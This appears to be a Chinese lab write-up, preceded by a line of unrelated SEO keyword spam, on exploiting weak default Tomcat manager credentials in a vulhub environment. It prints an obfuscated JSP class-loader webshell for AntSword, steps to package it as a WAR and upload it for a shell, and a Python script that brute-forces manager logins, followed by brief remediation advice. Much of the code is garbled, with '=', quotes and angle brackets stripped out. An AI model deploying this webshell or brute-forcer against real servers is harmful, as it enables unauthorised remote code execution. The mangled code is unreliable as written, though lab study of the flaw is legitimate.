做装修效果图的网站,容桂网站制作代理,支付宝wordpress api接口,榆林做网站1 漏洞背景
Tomcat 是一个流行的开源Web应用服务器#xff0c;用于部署和运行Java Web应用程序。Tomcat 7 版本中存在一个安全隐患#xff0c;即默认的管理员密码可能较弱或者未被修改#xff0c;攻击者可以利用这一漏洞登录到Tomcat的管理后台#xff0c;并上传恶意的WAR…1 漏洞背景
Tomcat 是一个流行的开源Web应用服务器用于部署和运行Java Web应用程序。Tomcat 7 版本中存在一个安全隐患即默认的管理员密码可能较弱或者未被修改攻击者可以利用这一漏洞登录到Tomcat的管理后台并上传恶意的WAR包来执行任意代码
2 启动vulhub靶场
进入目录cd vulhub/tomcat/tomcat8
启动漏洞环境
docker compose up -d
查看端口
docker-ompose ps 访问 您将看到页面表示环境正在成功运行。 3 漏洞复现步骤
点击Manager App即可跳到管理登陆页面 输入用户名密码 tomcat:tomcat来到管理界面 登录到后台后可以通过部署war包进行getshell
找一个a.jsp木马
%-- 使用时请删除此行, 连接密码: cmd --%
%!
class NATURAL extends ClassLoader{NATURAL(ClassLoader c){super(c);}public Class proper(byte[] b){return super.defineClass(b, 0, b.length);}
}
public byte[] tuple(String str) throws Exception {Class base64;byte[] value null;try {base64Class.forName(sun.misc.BASE64Decoder);Object decoder base64.newInstance();value (byte[])decoder.getClass().getMethod(decodeBuffer, new Class[] {String.class }).invoke(decoder, new Object[] { str });} catch (Exception e) {try {base64Class.forName(java.util.Base64);Object decoder base64.getMethod(getDecoder, null).invoke(base64, null);value (byte[])decoder.getClass().getMethod(decode, new Class[] { String.class }).invoke(decoder, new Object[] { str });} catch (Exception ee) {}}return value;
}
%
%
String cls request.getParameter(cmd);
if (cls ! null) {new NATURAL(this.getClass().getClassLoader()).proper(tuple(cls)).newInstance().equals(new Object[]{request,response});
}
%
打包成war包
jar cvf tomcat.war a.jsp 上传打包的tomcat.war
生成一个tomcat的路径 在地址栏路径中访问http://192.168.1.20:8080/tomcat/a.jsp 蚁剑连接密码cmd 4 修复方案 修改默认密码确保Tomcat的管理后台使用了强密码并定期更换密码。 限制访问权限限制对Tomcat管理后台的访问权限只允许可信的IP地址或网络段进行访问。 禁用不必要的模块禁用Tomcat中不必要的模块和功能减少潜在的安全风险。 定期更新和打补丁定期更新Tomcat服务器和相关的Java环境及时修复已知的安全漏洞。 使用Web应用防火墙WAF在Tomcat服务器前部署Web应用防火墙WAF对传入的请求进行过滤和检测防止恶意请求的执行。
5 使用python脚本探测漏洞
弱口令脚本
#!/usr/bin/env python import requests
import base64 def tomcat_weak_password(): 检查 Tomcat 服务器是否存在弱密码。 # 输入目标 IP 地址注意这里应该是一个完整的 URL如 http://192.168.1.1:8080/manager/ url input(请输入目标IP地址包含端口和路径如 http://IP:PORT/manager/: ) # 常见的用户名列表 users [tomcat,admin,system,Administrator,root,123,tomcat] # 常见的密码列表 passwords [12345,123,tomcat,admin,00000,tomcat] # 遍历用户名和密码列表 for user in users: for password in passwords: # 拼接用户名和密码并转换为 base64 编码 tomcat_passwd user.strip() : password.strip() encoded_password base64.b64encode(tomcat_passwd.encode(utf-8)) # 将 base64 编码的密码转换为字符串并添加 Basic 前缀 encoded_password_end Basic str(encoded_password, utf-8) # 构造请求头 headers { Content-Type: application/x-www, # 注意这里的内容类型可能不正确Tomcat 管理页面可能不需要这个 Authorization: encoded_password_end, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36 } # 发送 GET 请求 response requests.get(url, headersheaders) # 如果返回状态码为 200则认为存在弱口令 if response.status_code 200: print(存在弱口令) print(账号, user) print(密码, password) # 当找到一个弱密码后立即退出循环 break # 调用函数
tomcat_weak_password()
结果